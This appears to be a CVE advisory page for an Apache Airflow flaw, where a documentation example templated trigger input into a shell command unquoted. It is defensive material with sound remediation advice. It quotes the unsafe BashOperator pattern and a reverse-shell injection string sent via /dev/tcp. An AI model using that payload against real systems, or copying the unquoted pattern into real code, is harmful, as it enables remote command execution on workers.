CVE intelligence and bounded remediation

CVE-2026-42252 — Apache Airflow security vulnerability

Critical CVSS 9.1

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Severity
Critical
CVSS
9.1 (3.1)
Published
2026-06-01
CISA KEV
Not currently listed
Ecosystem
software/application
Weaknesses
CWE-1336

Affected products

  • apache / airflow

Matched remediation archetype

Command, code, expression, and template injection

This catalog composition supplies bounded fallback guidance. Explicitly reviewed curated workflows load with the complete record below.

Check exposure

  • Trace untrusted values to process execution, interpreters, evaluators, template engines, dynamic imports, and administrative scripting features.
  • Determine whether the affected path is reachable across each trust boundary and which service account or host privilege it inherits.
  • Review configuration for optional execution features, unsafe compatibility modes, and shell invocation.

Remediate safely

  • Replace string-built commands or evaluated code with fixed operations and structured argument APIs that do not invoke a shell.
  • Use strict allowlists for operation identifiers and reject unexpected input before it reaches any interpreter.
  • Update the affected component and add inert regression tests covering metacharacters, encoding variants, and alternate request paths.

Authoritative sources

Complete CVE record and remediation plan

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